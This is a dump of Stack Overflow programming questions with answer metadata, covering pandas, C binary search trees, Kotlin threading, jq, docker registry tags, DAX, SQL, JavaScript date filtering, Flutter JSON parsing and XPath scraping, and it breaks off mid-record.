<p>Here is a dummy dataframe:</p>
<pre><code> dummy_df = pd.DataFrame({"transactionid": [1, 2, 3, 4, 5, 6, 7, 8],
"user": ["michael",
"michael",
"michael",
"tom",
"tom",
"tom",
"tom",
"tom"],
"transactiontime": pd.to_datetime(["2022-01-01",
"2022-01-02",
"2022-01-03",
"2022-09-01",
"2022-09-13",
"2022-10-17",
"2022-10-20",
"2022-11-17"])})
dummy_df.head(10)
transactionid user transactiontime
0 1 michael 2022-01-01
1 2 michael 2022-01-02
2 3 michael 2022-01-03
3 4 tom 2022-09-01
4 5 tom 2022-09-13
5 6 tom 2022-10-17
6 7 tom 2022-10-20
7 8 tom 2022-11-17
</code></pre>
<p>Here I sort transactions and calculate their difference in days:</p>
<pre><code> dummy_df = dummy_df.assign(
timediff = dummy_df
.sort_values('transactiontime')
.groupby(["user"])['transactiontime'].diff() / np.timedelta64(1, 'D')
).fillna(0)
dummy_df.head(10)
transactionid user transactiontime timediff
0 1 michael 2022-01-01 0.0
1 2 michael 2022-01-02 1.0
2 3 michael 2022-01-03 1.0
3 4 tom 2022-09-01 0.0
4 5 tom 2022-09-13 12.0
5 6 tom 2022-10-17 34.0
6 7 tom 2022-10-20 3.0
7 8 tom 2022-11-17 28.0
</code></pre>
<p>Here I create a new column with a random IDs for each related transaction - though it does not work as expected:</p>
<pre><code> dummy_df.assign(related_transaction = np.where((dummy_df.timediff >= 0) & (dummy_df.timediff < 15), uuid.uuid4(), dummy_df.transactionid))
transactionid user transactiontime timediff related_transaction
0 1 michael 2022-01-01 0.0 fd630f07-6564-4773-aff9-44ecb1e4211d
1 2 michael 2022-01-02 1.0 fd630f07-6564-4773-aff9-44ecb1e4211d
2 3 michael 2022-01-03 1.0 fd630f07-6564-4773-aff9-44ecb1e4211d
3 4 tom 2022-09-01 0.0 fd630f07-6564-4773-aff9-44ecb1e4211d
4 5 tom 2022-09-13 12.0 fd630f07-6564-4773-aff9-44ecb1e4211d
5 6 tom 2022-10-17 34.0 6
6 7 tom 2022-10-20 3.0 fd630f07-6564-4773-aff9-44ecb1e4211d
7 8 tom 2022-11-17 28.0 8
</code></pre>
<p>What I would expect is something like given that the user group difference between transactions is within 14 days:</p>
<pre><code> transactionid user transactiontime timediff related_transaction
0 1 michael 2022-01-01 0.0 ad2a8f23-05a5-49b1-b45e-cbf3f0ba23ff
1 2 michael 2022-01-02 1.0 ad2a8f23-05a5-49b1-b45e-cbf3f0ba23ff
2 3 michael 2022-01-03 1.0 ad2a8f23-05a5-49b1-b45e-cbf3f0ba23ff
3 4 tom 2022-09-01 0.0 b1da2251-7770-4756-8863-c82f90657542
4 5 tom 2022-09-13 12.0 b1da2251-7770-4756-8863-c82f90657542
5 6 tom 2022-10-17 34.0 485a8d97-80d1-4184-8fc8-99523f471527
6 7 tom 2022-10-20 3.0 485a8d97-80d1-4184-8fc8-99523f471527
7 8 tom 2022-11-17 28.0 8
</code></pre>
|
[
{
"answer_id": 74466825,
"author": "Luise",
"author_id": 11214568,
"author_profile": "https://Stackoverflow.com/users/11214568",
"pm_score": 0,
"selected": false,
"text": "uuid.uuid4()"
},
{
"answer_id": 74467156,
"author": "SNygard",
"author_id": 5037133,
"author_profile": "https://Stackoverflow.com/users/5037133",
"pm_score": 2,
"selected": true,
"text": "related_transaction"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466504",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3407636/"
] |
74,466,510
|
<p>I have a binary search tree in C, the goal currently is to find the Nth element in the tree. I am attempting to do this recursively, however this is not paramount. I have access to the amount of nodes under any given node (inclusive).</p>
<p>I tried this block of code:</p>
<pre><code>TreeNode* findNthElement(int N, TreeNode* tree) {
static int count = 0;
printf("nodeCount: %d\nN: %d\nCount: %d\n", tree->nodeCount, N, count);//debug
//null case
if (tree == NULL) {
return NULL;
}
//recursion
if (count <= N) {
findNthElement(N, tree->left);
count++;
if (count == N) {
count = 0;
return tree;
}
findNthElement(N, tree->right);
}
}
</code></pre>
<p>This is supposed to be a recursive function to complete my task but <code>count</code>'s value is always 0 even though it is static. I have also tried initializing count outside of the function and resetting it to 0 upon success or failure but that has also not succeeded.</p>
|
[
{
"answer_id": 74466567,
"author": "emetsipe",
"author_id": 18198735,
"author_profile": "https://Stackoverflow.com/users/18198735",
"pm_score": -1,
"selected": false,
"text": "count++"
},
{
"answer_id": 74466661,
"author": "Hasan Mustafa",
"author_id": 17426732,
"author_profile": "https://Stackoverflow.com/users/17426732",
"pm_score": -1,
"selected": false,
"text": "using System.Collections.Generic;\npublic int smallElement(int k)\n{\n Node<T> node = Root;\n int count = k;\n int sizeOfSubTree =0;\n \n while (node != null)\n {\n sizeOfSubTree = node.SizeOfLeftSubTree();\n if(sizeOfSubTree +1 == count)\n {\n return node.Value;\n }\n else if(sizeOfSubTree +1 < count)\n {\n node=node.Right;\n count -= sizeOfSubTree +1 ;\n \n }\n else\n {\n \n node = node.Right;\n }\n \n }\n return -1;\n \n \n}\n"
},
{
"answer_id": 74466847,
"author": "Muhammad Zeeshan",
"author_id": 15095544,
"author_profile": "https://Stackoverflow.com/users/15095544",
"pm_score": -1,
"selected": false,
"text": "TreeNode* findNthElement(int N, TreeNode* tree, int count) {\n TreeNode * nthTree = NULL;\n if(tree == NULL) \n return NULL;\n\n //Found the Nth element\n if (count == N){\n return tree;\n }\n \n //Not using ++count just for clarity\n //First it will check left subtree, if its Nth then return it else go right\n nthTree = findNthElement(N, tree->left, count+1); //Recursive call for left node\n\n //Recursive call for right node\n return (nthTree == NULL) ? findNthElement(N, tree->right, count+1) : nthTree; \n \n}\n"
},
{
"answer_id": 74467391,
"author": "trincot",
"author_id": 5459839,
"author_profile": "https://Stackoverflow.com/users/5459839",
"pm_score": 2,
"selected": true,
"text": "findNthElement(N, tree->right)"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466510",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523596/"
] |
74,466,542
|
<p>So I'm working with the google sheets api in an android app and I'm trying to get the credentials in a separate thread. This is what I have:</p>
<p><code>GoogleSheets</code> is a class I created to get credentials and cell values of my spreadsheet</p>
<p><code>private lateinit var sheets: GoogleSheets</code> is a instance variable that I declare at the beginning of the class. I am trying to initialize here:</p>
<pre><code>load.setOnClickListener(View.OnClickListener {
Thread {
sheets = GoogleSheets(requireContext(), "1fs1U9-LMmkmQbQ2Kn-rNVHIQwh6_frAbwaTp7MSyDIA")
}.start()
println(sheets)
println(sheets.getValues("A1"))
})
</code></pre>
<p>but It's telling me that the sheets variable hasn't been initialized:</p>
<pre><code>kotlin.UninitializedPropertyAccessException: lateinit property sheets has not been initialized
</code></pre>
<p>here is the full class:</p>
<pre><code>
import android.Manifest
import android.content.Intent
import android.content.pm.PackageManager
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.os.Environment
import android.provider.Settings
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.Button
import android.widget.EditText
import androidx.activity.result.contract.ActivityResultContracts
import androidx.annotation.RequiresApi
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import androidx.fragment.app.Fragment
import com.example.frcscout22.GoogleSheets
import com.example.frcscout22.R
// TODO: AUTOMATICALLY SWITCH TO DATA TAB AFTER LOAD OR CREATE NEW
class Home: Fragment(R.layout.fragment_home) {
private lateinit var sheets: GoogleSheets
private val STORAGE_PERMISSION_CODE = 100
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
}
@RequiresApi(Build.VERSION_CODES.P)
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
val view: View = inflater.inflate(R.layout.fragment_home, container, false)
val load = view.findViewById<Button>(R.id.button3)
val new = view.findViewById<Button>(R.id.button4)
val editText = view.findViewById<EditText>(R.id.editTextTextPersonName)
if (!checkPermission()) {
println("requested")
requestPermission()
}
new.setOnClickListener(View.OnClickListener {
val sheets = GoogleSheets(requireContext(),"1fs1U9-LMmkmQbQ2Kn-rNVHIQwh6_frAbwaTp7MSyDIA")
sheets.setValues("A1", "this is a test", "USER_ENTERED")
println(sheets.getValues("A1").values)
})
load.setOnClickListener(View.OnClickListener {
Thread {
sheets = GoogleSheets(requireContext(), "1fs1U9-LMmkmQbQ2Kn-rNVHIQwh6_frAbwaTp7MSyDIA")
}.start()
println(sheets)
println(sheets.getValues("A1"))
})
return view
}
private fun requestPermission(){
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R){
//Android is 11(R) or above
try {
val intent = Intent()
intent.action = Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION
val uri = Uri.fromParts("package", requireActivity().packageName, "Home")
intent.data = uri
storageActivityResultLauncher.launch(intent)
}
catch (e: Exception){
val intent = Intent()
intent.action = Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION
storageActivityResultLauncher.launch(intent)
}
}
else{
//Android is below 11(R)
ActivityCompat.requestPermissions(requireActivity(),
arrayOf(Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.READ_EXTERNAL_STORAGE),
STORAGE_PERMISSION_CODE
)
}
}
private val storageActivityResultLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()){
//here we will handle the result of our intent
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R){
//Android is 11(R) or above
if (Environment.isExternalStorageManager()){
//Manage External Storage Permission is granted
}
}
else{
//Android is below 11(R)
}
}
private fun checkPermission(): Boolean{
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R){
//Android is 11(R) or above
Environment.isExternalStorageManager()
}
else{
//Android is below 11(R)
val write = ContextCompat.checkSelfPermission(requireContext(), Manifest.permission.WRITE_EXTERNAL_STORAGE)
val read = ContextCompat.checkSelfPermission(requireContext(), Manifest.permission.READ_EXTERNAL_STORAGE)
write == PackageManager.PERMISSION_GRANTED && read == PackageManager.PERMISSION_GRANTED
}
}
}
</code></pre>
<p>I can't figure out why the varible isn't being initialized. Does it have something to do with it being in a thread? How can I fix this problem? Thanks!!</p>
|
[
{
"answer_id": 74466684,
"author": "cactustictacs",
"author_id": 13598222,
"author_profile": "https://Stackoverflow.com/users/13598222",
"pm_score": 1,
"selected": false,
"text": "Thread {\n sheets = GoogleSheets(requireContext(), \"1fs1U9-LMmkmQbQ2Kn-rNVHIQwh6_frAbwaTp7MSyDIA\")\n}.start()\nprintln(sheets)\n"
},
{
"answer_id": 74466728,
"author": "Tenfour04",
"author_id": 506796,
"author_profile": "https://Stackoverflow.com/users/506796",
"pm_score": 3,
"selected": true,
"text": "lateinit"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466542",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17792511/"
] |
74,466,550
|
<p>I'm trying to parse AWS instance metadata to take two values and combine them into one string (a name and an id). The name is sometimes empty, and jq doesn't want to append to null. How do I tell jq to just assume the null value is an empty string? I've seen mentions of a "destructuring" operator, or a map function to do this, but I can't seem to get any of that syntax to work.</p>
<p>It may further complicate things, but the name is stored as the value in a key-value tag. I have to do a select like this to get the name: <code>.Tags[]|select(.Key == "Name").Value</code>.</p>
<p>Here's some sample data:</p>
<pre><code>{
"InstanceId": "i-abc",
"Tags": [
{
"Key": "Name",
"Value": "Grafana"
}
]
}
{
"InstanceId": "i-def"
}
</code></pre>
<p>Here's what I'm trying:</p>
<pre><code>cat sample.json |jq -r '.|{together: (.InstanceId + " " + (.Tags[]|select(.Key == "Name").Value) // empty)}'
{
"together": "i-abc Grafana"
}
jq: error (at <stdin>:12): Cannot iterate over null (null)
</code></pre>
|
[
{
"answer_id": 74466828,
"author": "pmf",
"author_id": 2158479,
"author_profile": "https://Stackoverflow.com/users/2158479",
"pm_score": 1,
"selected": false,
"text": ".InstanceId"
},
{
"answer_id": 74467051,
"author": "0stone0",
"author_id": 5625547,
"author_profile": "https://Stackoverflow.com/users/5625547",
"pm_score": 1,
"selected": false,
"text": "select()"
},
{
"answer_id": 74467677,
"author": "knittl",
"author_id": 112968,
"author_profile": "https://Stackoverflow.com/users/112968",
"pm_score": 2,
"selected": true,
"text": ".|"
},
{
"answer_id": 74468024,
"author": "jars99",
"author_id": 1647396,
"author_profile": "https://Stackoverflow.com/users/1647396",
"pm_score": 0,
"selected": false,
"text": "cat sample.json|jq -r '((.Tags[]|select(.Key == \"Name\").Value)? // \"\") as $name|{together: (.InstanceId + \" \" + $name)}'\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466550",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1647396/"
] |
74,466,564
|
<p>This is how I do get all version tags of an image in a custom docker registry:</p>
<pre><code>r=`curl -sS "$registry/v2/" \
-o /dev/null \
-w '%{http_code}:%header{www-authenticate}'`
http_code=`echo "$r" | cut -d: -f1`
curl_args=(-sS -H 'Accept: application/vnd.docker.distribution.manifest.v2+json')
curl_args+=(-u "$creds")
tags=`curl "${curl_args[@]}" "$registry/v2/$image/tags/list" | jq -r .tags[] | sort -V`
</code></pre>
<p>The result could be something like:</p>
<pre><code>1.0.0
1.1.2
1.2.0
1.2.1
1.0.1
1.1.0
1.1.1
1.2.1
</code></pre>
<p>Now I just want to get all tags except the newest three and if there are less than three tags, the result should be empty. So in this example I need to get</p>
<pre><code>1.0.0
1.0.1
1.1.0
1.1.1
1.1.2
</code></pre>
<p>I tried to use <code>unset $tags[-3]</code>, but I think I do not get an array returned by the last curl call. So is <code>sort -V</code> working at all with this syntax?</p>
|
[
{
"answer_id": 74466621,
"author": "pmf",
"author_id": 2158479,
"author_profile": "https://Stackoverflow.com/users/2158479",
"pm_score": 2,
"selected": true,
"text": "sort"
},
{
"answer_id": 74469076,
"author": "glenn jackman",
"author_id": 7552,
"author_profile": "https://Stackoverflow.com/users/7552",
"pm_score": 0,
"selected": false,
"text": "echo \"$data\" | sort -V | head -n -3\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466564",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3142695/"
] |
74,466,592
|
<p>I'm trying to divide Custom Codes 200-940 with their respective sales while custom codes "100 Cashiers" and "950 Front Office Admin" with the total of all sales. Please we image as I'm sure it will make a lot more sense when one sees it. Custom Codes is a column, Total Labor and Total Sales are both measures
<a href="https://i.stack.imgur.com/RiNof.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/RiNof.png" alt="enter image description here" /></a></p>
<p>I tried using a if statement =</p>
<pre><code>if('Total Sales' > 0, 'Total Labor'/'Total Sales, 'Total Labor'/sum(SalesAmnt)
</code></pre>
<p>..SalesAmnt is where the majority of the sales come from but it isn't the sum of all sales, 'Total Sales' is the sum of all sales. This didn't pull the sum but only would divide by the row</p>
<pre><code>Column = if(JobCodes[Custom Codes] = "100 Cashiers" || "950 Front Office Admin", 'RSMDetail'[Total Labor]/sum('Ace Daily Sales'[Net Sales]), 'RSMDetail'[Total Labor]/'RSMDetail'[Total Sales])
</code></pre>
<p>Also tried this but the error "Cannot convert value '950 Front Office Admin' of type Text to type True/False." comes back</p>
<p><a href="https://i.stack.imgur.com/EJTJD.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/EJTJD.png" alt="Mapping" /></a>
<a href="https://i.stack.imgur.com/dag6t.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dag6t.png" alt="Table" /></a>
<a href="https://i.stack.imgur.com/Wzc4C.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Wzc4C.png" alt="Updated Table" /></a></p>
|
[
{
"answer_id": 74466621,
"author": "pmf",
"author_id": 2158479,
"author_profile": "https://Stackoverflow.com/users/2158479",
"pm_score": 2,
"selected": true,
"text": "sort"
},
{
"answer_id": 74469076,
"author": "glenn jackman",
"author_id": 7552,
"author_profile": "https://Stackoverflow.com/users/7552",
"pm_score": 0,
"selected": false,
"text": "echo \"$data\" | sort -V | head -n -3\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466592",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20053349/"
] |
74,466,601
|
<p>Table E :</p>
<ul>
<li>Unique ID <code>Entry_Number</code>.</li>
<li>Group key <code>Group</code> (to associate records together, not unique, corresponds to foreign table G where it is unique key).</li>
<li>Status <code>Entry_Status</code> (character indicators of a real-life process: A, R, C, I).</li>
</ul>
<p>Table G :</p>
<ul>
<li>Unique ID <code>Group_Number</code> (corresponding to group key).</li>
<li>Group status <code>Group_Status</code> (true or false).</li>
</ul>
<p>I want to query for entry numbers from table E where <code>Entry_Status</code> = A or R, and if entries with same <code>Group_Number</code> also have <code>Entry_Status</code> = A or R (the part I can't figure out) and if <code>Group_status</code> for that <code>Group_Number</code> = false (ignore entries with <code>Group_Number</code> associated with TRUE <code>Group_Status</code> regardless of <code>Entry_Status</code>). Example:</p>
<p>Table E:</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Entry_Number</th>
<th>Group</th>
<th>Entry_Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>12</td>
<td>1</td>
<td>A</td>
</tr>
<tr>
<td>13</td>
<td>1</td>
<td>A</td>
</tr>
<tr>
<td>14</td>
<td>1</td>
<td>R</td>
</tr>
<tr>
<td>15</td>
<td>2</td>
<td>A</td>
</tr>
<tr>
<td>16</td>
<td>2</td>
<td>I</td>
</tr>
<tr>
<td>17</td>
<td>3</td>
<td>A</td>
</tr>
<tr>
<td>18</td>
<td>3</td>
<td>C</td>
</tr>
</tbody>
</table>
</div>
<p>Table G:</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Group_Number</th>
<th>Group_Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>2</td>
<td>False</td>
</tr>
<tr>
<td>3</td>
<td>True</td>
</tr>
</tbody>
</table>
</div>
<p>I should get [12,13,14]. Group 2 is rejected since status of entry 17 = I and Group 3 is rejected because <code>Group_Status</code> = True.</p>
<pre><code>SELECT ENTRY_NUMBERS
FROM ENTRY E, GROUP G
WHERE G.GROUP_STATUS = 'FALSE'
AND E.STATUS IN ('A','R')
</code></pre>
<p>This does not take entries with same <code>Group_Number</code> into account. How do I relate entries within same table according to <code>Group_Number</code>, then checking status of those other entries to decide if the original should be considered?</p>
|
[
{
"answer_id": 74466621,
"author": "pmf",
"author_id": 2158479,
"author_profile": "https://Stackoverflow.com/users/2158479",
"pm_score": 2,
"selected": true,
"text": "sort"
},
{
"answer_id": 74469076,
"author": "glenn jackman",
"author_id": 7552,
"author_profile": "https://Stackoverflow.com/users/7552",
"pm_score": 0,
"selected": false,
"text": "echo \"$data\" | sort -V | head -n -3\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466601",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523521/"
] |
74,466,613
|
<p>I have a table that has [Order], [Yield], [Scrap], [OpAc] columns. I need to pull the yield based on the max value of [OpAc].</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Order</th>
<th>Yield</th>
<th>Scrap</th>
<th>OpAc</th>
</tr>
</thead>
<tbody>
<tr>
<td>1234</td>
<td>140</td>
<td>0</td>
<td>10</td>
</tr>
<tr>
<td>1234</td>
<td>140</td>
<td>0</td>
<td>20</td>
</tr>
<tr>
<td>1234</td>
<td>130</td>
<td>10</td>
<td>30</td>
</tr>
<tr>
<td>1234</td>
<td>130</td>
<td>0</td>
<td>40</td>
</tr>
<tr>
<td>1234</td>
<td>125</td>
<td>5</td>
<td>50</td>
</tr>
<tr>
<td>1234</td>
<td>110</td>
<td>15</td>
<td>60</td>
</tr>
<tr>
<td>1235</td>
<td>140</td>
<td>0</td>
<td>10</td>
</tr>
<tr>
<td>1235</td>
<td>138</td>
<td>2</td>
<td>20</td>
</tr>
<tr>
<td>1235</td>
<td>138</td>
<td>0</td>
<td>30</td>
</tr>
<tr>
<td>1235</td>
<td>138</td>
<td>0</td>
<td>40</td>
</tr>
<tr>
<td>1235</td>
<td>138</td>
<td>0</td>
<td>50</td>
</tr>
<tr>
<td>1235</td>
<td>137</td>
<td>1</td>
<td>60</td>
</tr>
<tr>
<td>1235</td>
<td>137</td>
<td>0</td>
<td>70</td>
</tr>
</tbody>
</table>
</div>
<p>Expected Results</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Order</th>
<th>Yield</th>
</tr>
</thead>
<tbody>
<tr>
<td>1234</td>
<td>110</td>
</tr>
<tr>
<td>1235</td>
<td>137</td>
</tr>
</tbody>
</table>
</div>
<p>The query that I have tried is</p>
<pre><code>select [Order], [Yield], MAX([OpAc]) as Max_OpAc
from SCRAP
GROUP BY [Order], [Yield]
order by [order]
</code></pre>
<p>This produces</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Order</th>
<th>Yield</th>
<th>Max_OpAc</th>
</tr>
</thead>
<tbody>
<tr>
<td>1234</td>
<td>110</td>
<td>60</td>
</tr>
<tr>
<td>1234</td>
<td>125</td>
<td>50</td>
</tr>
<tr>
<td>1234</td>
<td>130</td>
<td>40</td>
</tr>
<tr>
<td>1234</td>
<td>140</td>
<td>20</td>
</tr>
<tr>
<td>1235</td>
<td>137</td>
<td>70</td>
</tr>
<tr>
<td>1235</td>
<td>138</td>
<td>50</td>
</tr>
<tr>
<td>1235</td>
<td>140</td>
<td>10</td>
</tr>
</tbody>
</table>
</div>
<p>I've tried setting up some CTE queries to break it down into separate functions but I keep getting caught at this step.</p>
<pre><code>WITH CTE1 AS(
SELECT ROW_NUMBER() OVER(PARTITION BY [Order] ORDER BY [Order],[OpAc]) AS RN , *
FROM SAP_SCRAP
),
</code></pre>
<p>This proved to be redundant due to the fact that the [OpAc] field is sequential for each step.</p>
<p>Thanks in advance for any help</p>
|
[
{
"answer_id": 74466755,
"author": "Philip P.",
"author_id": 2486874,
"author_profile": "https://Stackoverflow.com/users/2486874",
"pm_score": 2,
"selected": true,
"text": "WITH Orders_By_OpAc_Desc AS (\n SELECT\n [Order],\n [Yield].\n ROW_NUMBER() OVER (PARTITION BY [Order] ORDER BY OpAc DESC) AS [rn],\n FROM\n SCRAP\n)\n\nSELECT [Order],\n [Yield]\nFROM\n Orders_By_OpAc_Desc\nWHERE\n rn = 1\n"
},
{
"answer_id": 74466802,
"author": "Sean Bloch",
"author_id": 20187370,
"author_profile": "https://Stackoverflow.com/users/20187370",
"pm_score": 1,
"selected": false,
"text": "OVER (PARTITION BY)"
},
{
"answer_id": 74466820,
"author": "Tim Jarosz",
"author_id": 2452207,
"author_profile": "https://Stackoverflow.com/users/2452207",
"pm_score": 0,
"selected": false,
"text": "ORDER BY OpAc DESC"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466613",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11656189/"
] |
74,466,618
|
<p>I have a list of objects:</p>
<pre><code>listings = [{
title: "Place 1",
price: "100",
availability: [
{
startDate: "2022-11-15T13:00:00.000Z",
endDate: "2022-11-23T13:00:00.000Z",
key: "selection"
},
{
startDate: "2022-11-30T13:00:00.000Z",
endDate: "2022-12-02T13:00:00.000Z",
key: "selection"
},
{
startDate: "2022-12-18T13:00:00.000Z",
endDate: "2022-12-20T13:00:00.000Z",
key: "selection"
}
]},
{
title: "Place 2",
price: "100",
availability: [
{
startDate: "2022-11-30T13:00:00.000Z",
endDate: "2022-12-30T13:00:00.000Z",
key: "selection"
}]
}
]
</code></pre>
<p>And a list</p>
<pre><code>range = [
{
startDate: "2022-12-01T13:00:00.000Z",
endDate: "2022-12-25T13:00:00.000Z",
key: "selection"
}
]
</code></pre>
<p>And I would like to get the object side of my listings available during my date range. i.e. startDate smaller than my range[0].startDate and endDate greater than my range[0].endDate.<br/>
I have tried doing:</p>
<pre><code>listings.filter(listItem => {
return parseInt(listItem.price) >= parseInt(minPrice) && parseInt(listItem.price) <= parseInt(maxPrice)
}).filter(listItem => {
return listItem.availability.map((i) => new Date(i.startDate).setHours(0, 0, 0, 0) <= new Date(range[0].startDate).setHours(0, 0, 0, 0) && new Date(i.endDate).setHours(0, 0, 0, 0) >= new Date(range[0].endDate).setHours(0, 0, 0, 0))
})
</code></pre>
<p>However, it did not filter the listItem with availability outside the range as I was expecting, thanks in advance!</p>
|
[
{
"answer_id": 74466755,
"author": "Philip P.",
"author_id": 2486874,
"author_profile": "https://Stackoverflow.com/users/2486874",
"pm_score": 2,
"selected": true,
"text": "WITH Orders_By_OpAc_Desc AS (\n SELECT\n [Order],\n [Yield].\n ROW_NUMBER() OVER (PARTITION BY [Order] ORDER BY OpAc DESC) AS [rn],\n FROM\n SCRAP\n)\n\nSELECT [Order],\n [Yield]\nFROM\n Orders_By_OpAc_Desc\nWHERE\n rn = 1\n"
},
{
"answer_id": 74466802,
"author": "Sean Bloch",
"author_id": 20187370,
"author_profile": "https://Stackoverflow.com/users/20187370",
"pm_score": 1,
"selected": false,
"text": "OVER (PARTITION BY)"
},
{
"answer_id": 74466820,
"author": "Tim Jarosz",
"author_id": 2452207,
"author_profile": "https://Stackoverflow.com/users/2452207",
"pm_score": 0,
"selected": false,
"text": "ORDER BY OpAc DESC"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466618",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11724288/"
] |
74,466,619
|
<p>This is the error I get when request data from api -
Performing hot restart...
Syncing files to device sdk gphone x86 64 arm64...
Restarted application in 777ms.
E/flutter (21101): [ERROR:flutter/runtime/dart_vm_initializer.cc(41)] Unhandled Exception: NoSuchMethodError: The method '[]' was called on null.
E/flutter (21101): Receiver: null
E/flutter (21101): Tried calling:
E/flutter (21101): #0 Object.noSuchMethod (dart:core-patch/object_patch.dart:38:5)
E/flutter (21101): #1 new Recipe.fromJson (package:food_recipe_app_1/models/recipe.dart:16:19)
E/flutter (21101): #2 Recipe.recipesFromSnapshot. (package:food_recipe_app_1/models/recipe.dart:25:21)
E/flutter (21101): #3 MappedListIterable.elementAt (dart:_internal/iterable.dart:413:31)
E/flutter (21101): #4 ListIterator.moveNext (dart:_internal/iterable.dart:342:26)
E/flutter (21101): #5 new _GrowableList._ofEfficientLengthIterable (dart:core-patch/growable_array.dart:189:27)
E/flutter (21101): #6 new _GrowableList.of (dart:core-patch/growable_array.dart:150:28)
E/flutter (21101): #7 new List.of (dart:core-patch/array_patch.dart:51:28)
E/flutter (21101): #8 ListIterable.toList (dart:_internal/iterable.dart:213:44)
E/flutter (21101): #9 Recipe.recipesFromSnapshot (package:food_recipe_app_1/models/recipe.dart:26:8)
E/flutter (21101): #10 RecipeApi.getRecipe (package:food_recipe_app_1/models/recipe.api.dart:26:19)
E/flutter (21101):
E/flutter (21101): #11 _HomePageState.getRecipes (package:food_recipe_app_1/views/home.dart:25:16)
E/flutter (21101):
E/flutter (21101):</p>
<pre><code>class Recipe {
final String name;
final String images;
final double rating;
final String totalTime;
Recipe({
this.name,
this.images,
this.rating,
this.totalTime,
});
factory Recipe.fromJson(dynamic json) {
return Recipe(
name: json['name'] as String,
images: json['images'][0]['hostedLargeUrl'] as String,
rating: json['rating'] as double,
totalTime: json['totalTime'] as String
);
}
static List<Recipe> recipesFromSnapshot(List snapshot) {
return snapshot.map((data) {
return Recipe.fromJson(data);
}).toList();
}
@override
String toString() {
return 'Recipe {name: $name, image: $images, rating: $rating, totalTime: $totalTime}';
}
}
</code></pre>
|
[
{
"answer_id": 74466755,
"author": "Philip P.",
"author_id": 2486874,
"author_profile": "https://Stackoverflow.com/users/2486874",
"pm_score": 2,
"selected": true,
"text": "WITH Orders_By_OpAc_Desc AS (\n SELECT\n [Order],\n [Yield].\n ROW_NUMBER() OVER (PARTITION BY [Order] ORDER BY OpAc DESC) AS [rn],\n FROM\n SCRAP\n)\n\nSELECT [Order],\n [Yield]\nFROM\n Orders_By_OpAc_Desc\nWHERE\n rn = 1\n"
},
{
"answer_id": 74466802,
"author": "Sean Bloch",
"author_id": 20187370,
"author_profile": "https://Stackoverflow.com/users/20187370",
"pm_score": 1,
"selected": false,
"text": "OVER (PARTITION BY)"
},
{
"answer_id": 74466820,
"author": "Tim Jarosz",
"author_id": 2452207,
"author_profile": "https://Stackoverflow.com/users/2452207",
"pm_score": 0,
"selected": false,
"text": "ORDER BY OpAc DESC"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466619",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523695/"
] |
74,466,625
|
<p>I'm having trouble pulling just the price for these sites onto a google sehet. Instead, I'm pulling multiple rows/currencies, etc. and I don't know how to fix it =/</p>
<p>Thank you all in advance!!</p>
<p>1---->
<a href="https://www.discountfilters.com/refrigerator-water-filters/models/ukf8001/" rel="nofollow noreferrer">https://www.discountfilters.com/refrigerator-water-filters/models/ukf8001/</a>
<code>//main/div/div/div/div/div/div/div/div/div[1]/span/span/span</code>
2---->
<a href="https://www.discountfilters.com/refrigerator-water-filters/models/ukf8001/" rel="nofollow noreferrer">https://www.discountfilters.com/refrigerator-water-filters/models/ukf8001/</a>
<code>//div[1]/form/div/div/div[1]/div/div/div[2]/div[1]</code></p>
<p>3---->
<a href="https://filterbuy.com/air-filters/8x16x1/" rel="nofollow noreferrer">https://filterbuy.com/air-filters/8x16x1/</a>
<code>//div[2]/div[1]/div[3]/span</code></p>
<p>I tried the xpaths above and it's giving me all the data instead of just the discounted price (row1) that I'm looking for.</p>
|
[
{
"answer_id": 74466710,
"author": "player0",
"author_id": 5632629,
"author_profile": "https://Stackoverflow.com/users/5632629",
"pm_score": 1,
"selected": false,
